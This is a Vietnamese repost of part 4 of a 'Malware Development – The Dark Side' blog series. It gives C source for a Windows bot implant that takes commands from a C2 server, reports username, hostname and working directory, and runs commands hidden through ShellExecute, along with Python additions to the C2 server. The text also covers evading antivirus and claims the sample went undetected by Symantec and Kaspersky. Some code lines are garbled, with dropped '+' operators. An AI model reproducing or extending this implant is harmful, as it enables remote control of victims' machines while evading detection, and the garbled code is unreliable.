Phát triển phần mềm độc hại - The Dark Side: phần 4

2096
11-06-2018
Phát triển phần mềm độc hại - The Dark Side: phần 4

Chào mừng đến với phần 4 của loạt blog phát triển phần mềm độc hại. Trong các phần trước, chúng tôi đã tạo một tệp nhị phân có thể nghe các lệnh từ máy chủ botnet. Chúng tôi cũng đã viết các máy chủ C2 trong python3 có thể xử lý nhiều kết nối thông qua đa luồng và gửi lệnh cho tất cả các kết nối.

Xem lại các phần trước ngay dưới link này nhé!

>> Phát triển phần mềm độc hại - The Dark Side: Phần 1

>> Phát triển phần mềm độc hại - The Dark Side: Phần 2-1

>>  Phát triển phần mềm độc hại - The Dark Side: Phần 2-2

>> Phát triển phần mềm độc hại - The Dark Side: Phần 3

Trong phần này, chúng tôi sẽ tập trung vào việc viết bộ khung cho nhị phân có thể phân tích các lệnh cơ bản như whoami, pwd, nhận tên máy chủ, thực thi các lệnh nhị phân / lệnh cmd / lệnh PowerShell, v.v.... Hãy nhớ rằng, bạn có thể phải tinh chỉnh mã để mã không bị phát hiện từ AV theo thời gian. Bạn có thể tìm thấy tất cả mã được tải lên trong report của tôi ở đây.

Vì vậy, trước tiên hãy xem xét tất cả những gì chúng tôi đã chuẩn bị sẵn sàng trong mã bot:

    1. Sự kết nối TCP với Botnet

    2. Phân tích cú pháp lệnh đến


Điều tiếp theo chúng tôi sẽ thực hiện là thực thi một hàm dựa trên lệnh và gửi câu trả lời về cho máy chủ C2. Bây giờ hãy khởi động bằng việc viết hàm cơ bản nhất: - whoami

Ngay sau khi chúng tôi nhận được lệnh từ máy chủ, chúng tôi cần tạo bộ đệm và gửi cho hàm whoami sẽ thực thi WINAPI và trả về giá trị trong bộ đệm đã tạo trước đó. Sau đó chúng tôi có thể gửi thông tin này đến máy chủ C2 mà chúng tôi đã tạo. Dưới đây là mã để tạo bộ đệm và gửi bộ đệm đến hàm:

1  if ((strcmp(CommandReceived, "whoami\n") == 0)) {

2        char buffer[257] = "";

3        whoami(buffer,257);

4       strcat(buffer, "\n");

5       send(tcpsock, buffer, strlen(buffer) 1, 0);

6       memset(buffer, 0, sizeof(buffer));

7       memset(CommandReceived, 0, sizeof(CommandReceived));

8    }

Toàn bộ mã sẽ đi vào khối if-else của whoami. Vì vậy, hãy cố gắng hiểu được mã ở đây. Nếu lệnh được gửi bởi máy chủ C2 là whoami thì tôi sẽ tiến hành tạo một bộ đệm với 257 ký tự. Lý do tại sao chúng tôi sử dụng một bộ đệm với 257 byte là do tên người dùng Windows có thể là một chiều dài của một biến tối đa được xác định trên tổng thể được gọi là UNLEN. Chiều dài của UNLEN char là 256 byte và việc thêm một ký tự là cho newline. Khi hàm whoami trả về một câu trả lời trong bộ đệm, chúng ta thêm newline sử dụng strcat vào bộ đệm và gửi giá trị tới máy chủ C2 trong cùng một tcpsocket mà chúng ta đã tạo trước đây. Bước cuối cùng là đặt lại giá trị của cả hai vùng đệm: CommandReceivedbuffer để chúng ta không thêm các giá trị rác vào chúng cho lệnh đến tiếp theo của chúng ta.

Khi lệnh nhận được ở trên được gửi đến hàm whoami, whoami sẽ chạy các hàm WINAPI để nhận được giá trị mong muốn:

1    void whoami(char* returnval, int returnsize)

2    {

3            DWORD bufferlen = 257;

4            GetUserName(returnval, &returnsize);

5    }

Mã whoami sẽ đơn giản như thế này. Hàm void của whoami nằm trên hàm RevShell void của chúng tôi. Hàm này nhận hai đối số, cụ thể là bộ đệm và kích thước của nó. Chúng tôi xác định bộ đệm bằng cách sử dụng vị trí địa chỉ của nó trong bộ nhớ. Sau đó chúng ta chạy GetUserName WINAPI để lấy tên người dùng hiện tại và lưu nó trong địa chỉ của returnval mà trong trường hợp của chúng tôi nó giống như của char buffer mà chúng tôi đã tạo trước đó. Hãy nhớ rằng hàm của chúng tôi bị vô hiệu và không trả lại bất kỳ thứ gì vì nó lưu trữ trực tiếp giá trị trong địa chỉ và không phải là một biến returnval mới. Ngoài ra, GetUserName WINAPI không hỗ trợ sử dụng int và do đó chúng tôi phải sử dụng độ dài DWORD là kiểu dữ liệu của riêng các window và sau đó chuyển đổi nó tự động thành int.

Khi nhị phân đã được sửa đổi, chúng tôi cần phải thực hiện một chút thay đổi nhỏ trong mã C2 Botnet Server để nhận dữ liệu. Điều này có thể được thực hiện bằng cách chỉ cần thêm 2 dòng mã python để nhận và giải mã câu trả lời nhận được theo như chức năng gửi lệnh trong Lớp BotHandler:

1 class BotHandler(threading.Thread):

2          . . .

3           def run(self):

4                 . . .

5                   while True:

6                           . . .

7                           try:

8                               RecvBotCmd = "\n"

9                               self.client.send(RecvBotCmd.encode('utf-8'))

10                              recvVal = (self.client.recv(1024)).decode('utf-8') #cpde added

11                              print(recvVal) #code added

12               . . .

Một khi điều này được thực hiện, chúng tôi sẽ xóa tiêu đề gỡ lỗi <iostream> cùng với stdout chuẩn mà chúng tôi đã thực hiện trước đó để gỡ lỗi. Sau khi loại bỏ và biên dịch tiêu đề gỡ lỗi, bạn sẽ thấy được rằng kích thước của nhị phân từ 920 kb (biên dịch với trình gỡ lỗi iostream được kích hoạt) xuống còn 22 kb. Nếu bạn vẫn muốn xem cái gì đang nhận được phân tích cú pháp và cái gì không, bạn có thể tiếp tục giữ tiêu đề gỡ lỗi cho đến khi toàn bộ mã được tạo thành. Sau khi biên dịch và chạy, bạn sẽ thấy một cái gì đó giống như thế này:

Phát triển phần mềm độc hại - The Dark Side: phần 4   - Ảnh 1.

Trong trường hợp của tôi, maldev là tên người dùng. Tương tự, chúng tôi cũng có thể viết một vài chức năng khác như nhận thư mục hiện tại và tên máy chủ, v.v.

Dưới đây là đoạn code cho tên máy chủ:

1  void hostname(char* returnval, int returnsize)

2  {

3         DWORD bufferlen = 257;

4         GetComputerName(returnval, &bufferlen);

5  }


Đoạn code cho pwd [in ra thư mục hiện tại]:


1  void pwd(char* returnval, int returnsize) //Module 2

2  {

3        TCHAR tempvar[MAX_PATH];

4        GetCurrentDirectory(MAX_PATH, tempvar);

5        strcat(returnval, tempvar);

6  }


Ở đây, MAX_PATH là một chiều dài khác được xác định trên tổng thể là 260 byte trong window.

Đôi khi, khi các đoạn mã trên được thêm vào mã Bot, chúng tôi cũng phải sửa đổi khối if-else nếu lệnh nhận được không hợp lệ. Đối với điều này, chúng tôi chỉ có thể tạo một bộ đệm 20 byte và gán giá trị của "Invalid Command\n" và gửi nó qua mạng. Tương tự, chúng tôi cũng cần phải xuất dần các socket trong trường hợp nhận được một lệnh thoát. Vì vậy, dưới đây là mã cho cùng các lệnh:

1    else if ((strcmp(CommandReceived, "exit\n") == 0)) {

2    closesocket(tcpsock);

3    WSACleanup();

4    exit(0);

5    }

6    else {

7    char buffer[20] = "Invalid Command\n";

8    send(tcpsock, buffer, strlen(buffer) 1, 0);

9    memset(buffer, 0, sizeof(buffer));

10  memset(CommandReceived, 0, sizeof(CommandReceived));

11   }


Bây giờ, nếu chúng ta tiếp tục và chạy nhị phân thì sẽ trông giống như dưới đây:
Phát triển phần mềm độc hại - The Dark Side: phần 4   - Ảnh 2.

Tương tự vậy, chúng tôi cũng có thể tiếp tục và viết một hàm để thực hiện các lệnh shell theo cách dưới đây. Nhưng hãy nhớ rằng, việc thực thi shell chẳng hạn như các lệnh CMD có thể dễ dàng bị phát hiện thông qua các công cụ giám sát điểm cuối như sysmon và crowdstrike. Nhưng trong trường hợp có nhu cầu chạy lệnh cmd hoặc powershell, dưới đây là cách cần để thực hiện:

1  void exec(char* returnval, int returnsize, char *fileexec)

2  {

3       if (32 >= (int)(ShellExecute(NULL,"open", fileexec, NULL, NULL, SW_HIDE))) //

     Get return value in int

4       {

5              strcat(returnval, "[x] Error executing command..\n");

6        }

7       else

8       {

9               strcat(returnval, "\n");

10     }

11  }

Trong đoạn mã trên, hàm exec thực hiện ba đối số, đầu tiên là char rỗng, thứ hai là độ dài của char và thứ ba là biến char chứa các lệnh cần thực hiện trong trình cmd. Có hai nhược điểm khi sử dụng API ShellExecute. Nhược điểm chính như tôi đã giải thích trước đây là sự phát hiện và thứ hai là nó chỉ trả về một giá trị về việc liệu lệnh đó có được thực hiện hay không, nó không thực sự trả về kết quả của lệnh.

Nếu bạn muốn có được kết quả ra chuẩn, bạn có thể lưu trữ kết quả đầu ra trong một tệp, đọc nó trong một bộ đệm và gửi nó trở lại Máy chủ C2; hoặc bạn có thể sử dụng WINAPI CreateProcess để chuyển hướng kết quả ra đến một handle và in nó ra trên màn hình. Một cách khác nữa là sử dụng phương pháp C đang sử dụng popen () để thực thi lệnh hệ thống, nhưng thư viện của nó sẽ chiếm một số lượng lớn không gian và sẽ tăng kích thước nhị phân.

Có rất nhiều đoạn mã WINAPI khác như thư mục thay đổi, hiển thị ổ đĩa logic, tạo tệp, sao chép tệp / thư mục, xóa tệp, tạo thư mục, v.v. mà tôi chưa chỉ ra ở đây vì nó sẽ tăng độ dài của blogpost. Tuy nhiên, chúng có thể dễ viết hơn rất nhiều và các đoạn mã có thể được tìm thấy tại kho lưu trữ của MSDN :-

https://msdn.microsoft.com/en-us/library/ms725495(v=vs.85).aspx

Khi đoạn mã trên đã được thêm vào, chúng tôi sẽ phải tinh chỉnh trình phân tích cú pháp lệnh vì chúng tôi đang gửi trong hai chuỗi riêng biệt, ví dụ như: - exec notepad 

1 char splitval[DEFAULT_BUFLEN] = "";   //temporary variable

2 for(int i=0; i<(*(&CommandReceived 1) - CommandReceived); i)

3 {

4    if (CommandReceived[i] == *" ")    //CommandReceived[i] is a pointer here and can only be compared with a integer, this *" " is the address to the `space`

5    {

6        break;

7    }

8    else

9    {

10       splitval[i] = CommandReceived[i];  //store the split part 1 in variable splitval

11    }

12 }

13 if ((strcmp(splitval, "exec") == 0)) {

14    char CommandExec[DEFAULT_BUFLEN] = "";

15    int j = 0;

16    for(int i=5; i<(*(&CommandReceived 1) - CommandReceived); i)

17    {

18        CommandExec[j] = CommandReceived[i]; //store the secondary variable in the CommandExec variable

19         j;

20    }

21    char buffer[257] = "";

22    exec(buffer, 257, CommandExec);

23    strcat(buffer, "\n");

24    send(tcpsock, buffer, strlen(buffer) 1, 0);

25    memset(buffer, 0, sizeof(buffer));

26    memset(CommandReceived, 0, sizeof(CommandReceived));

27 }


Trong đoạn mã trên, có rất nhiều con trỏ và số học địa chỉ đang hiển thị. Để tôi giải thích điều này một cách đơn giản. Tôi chủ yếu tạo ra một biến tạm thời để lưu trữ lệnh exec. Sau đó, tôi chia biến CommandReceived chứa 'exec something' tại không gian và lưu chuỗi thứ hai trong biến CommandExec ở đây. Lý do là, chúng tôi sẽ gửi nó đến ShellExecute WinAPI. Vì vậy, nếu biến môi trường có notepad trong đường dẫn, nó sẽ tiến hành thực thi, nếu không bạn cũng có thể thử thực thi một cái gì đó khác. Cũng cần lưu ý rằng trong vòng lặp đầu tiên, chúng tôi có i là số nguyên và vì không thể so sánh với một ký tự nên chúng tôi sẽ sử dụng địa chỉ của không gian để so sánh nếu không gian tồn tại, chia biến đó thành hai, và giá trị đầu tiên sẽ đi vào biến splitval.


ShellExecute API có thể không chỉ thực hiện các lệnh cmd / powershell, mà còn các tệp khác như tệp phương tiện, hình ảnh, tệp từ xa, miễn là nó hiểu được phần mở rộng của tệp. Và quá trình thực thi cuối cùng của nhị phân sẽ diễn ra như sau:

http://niiconsulting.com/checkmate/wp-content/uploads/2018/03/2018-03-25_14-23-26.mp4?_=1

Tôi cũng đã quét phần mềm độc hại với Symantec và Kaspersky, và không phát hiện ra điều gì bất thường cả.

Kết luận lại, chỉ có một phần còn lại là thu thập tất cả các đầu ra nhận được từ bot và lưu trữ nó trong một cơ sở dữ liệu để phân tích trạng thái của botnet. Trong blog tiếp theo, chúng tôi sẽ sử dụng cơ sở dữ liệu Elasticsearch để lưu trữ thông tin được thu thập thông qua Máy chủ C2 và phân tích nó trong Kibana.

link gốc: http://niiconsulting.com/checkmate/2018/03/malware-development-welcome-to-the-dark-side-part-4/ 

                                                                                           VCCloud via niiconsulting.com

>>Có thể bạn quan tâm: Virus là gì? Bạn có chắc mình đã hiểu đúng về virus máy tính?

SHARE